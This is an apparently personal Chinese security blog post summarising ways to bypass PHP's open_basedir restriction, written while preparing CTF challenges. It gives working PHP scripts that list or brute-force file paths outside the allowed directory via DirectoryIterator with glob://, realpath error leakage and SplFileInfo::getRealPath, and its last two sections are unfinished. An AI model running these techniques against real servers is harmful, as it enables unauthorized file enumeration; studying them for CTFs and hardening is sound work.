Xi4or0uji's blog

open_basedir bypass

字数统计: 811阅读时长: 3 min
2019/05/15 Share

前言

之前在出国赛题的时候,设置open_basedir的时候突发奇想,可不可以绕过open_basedir呢,谷歌了一波,发现确实有不少的tricks,遂来总结一波

DirectoryIterator + Glob列目录

DirectoryIterator是一个php提供的用于查看文件系统目录的一个接口,调用它是可以直接看到文件目录的,但是如果我们设置了open_basedir的时候,用它列举不允许的目录,就会直接导致服务器500
glob是自php5.3起用来查找匹配的文件路径模式的一个流包装器
当他们组合一起的时候就很炫了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
printf('open_basedir: %s </br>',ini_get('open_basedir'));
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}<br/>";
}


可以看到,成功地列出了目录了,这个漏洞直到php7还能用,测试环境是linux+php7(摇头.gif

realpath列目录

realpath是php中一个将相对路径转化为绝对路径的方法,而如果开启了open_basedir的话,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir里的文件的话,他就会返回file is not within the allowed path(s),所以这个时候就可以类似于报错盲注去爆出文件名了
这里有个小trick,利用windows下的通配符<和>去进行爆破可以快一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('open_basedir',dirname(__FILE__));
printf("open_basedir: %s<br/><br/>", ini_get('open_basedir'));
set_error_handler('isexist');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789-*/+_';
for ($i=0; $i<strlen($chars); $i++){
$file = $dir.$chars[$i].'<<';
realpath($file);
}
function isexist($errno, $errstr){
$regex = '/File\((.*)\) is not within/';
printf("errstr: %s <br/>",$errstr);
preg_match($regex, $errstr, $mathes);
if (isset($mathes[1])){
printf("%s <br/><br/>", $mathes[1]);
}
}


可以看到,当报错的时候会将文件名也直接爆出来,因此如果文件名首字母不一致的话,跑一次就能直接将所有文件名跑出来了,如果重复问题也不大,改下前缀也都能出来的

SplFileInfo::getRealPath列目录

SplFileInfo类是一个用来为单个文件的信息提供高级的面向对象的接口,这个类可以进行很多文件的方法,其中就有一个方法和之前的realpath很相似,就是getRealPath,这个方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir的设定

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'd:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<<');
$re = $info->getRealPath();
if ($re) {
echo $re."<br>";
}
}


这里基本就是realpath的利用,相差不大,甚至还简单一点

bindtextdomain

bindtextdomain是一个域的操作的函数??

利用文件夹bypass

之前师兄在群上发过一张图

可以看到open_basedir/var/www/html,但是经过这些操作居然能读到根目录了,先跟过去看一下底层的实现是怎样的,它们对应的函数是

1
2
ini_set: PHP_FUNCTION(ini_set)
ini_get: PHP_FUNCTION(ini_get)

CATALOG
  1. 1. 前言
  2. 2. DirectoryIterator + Glob列目录
  3. 3. realpath列目录
  4. 4. SplFileInfo::getRealPath列目录
  5. 5. bindtextdomain
  6. 6. 利用文件夹bypass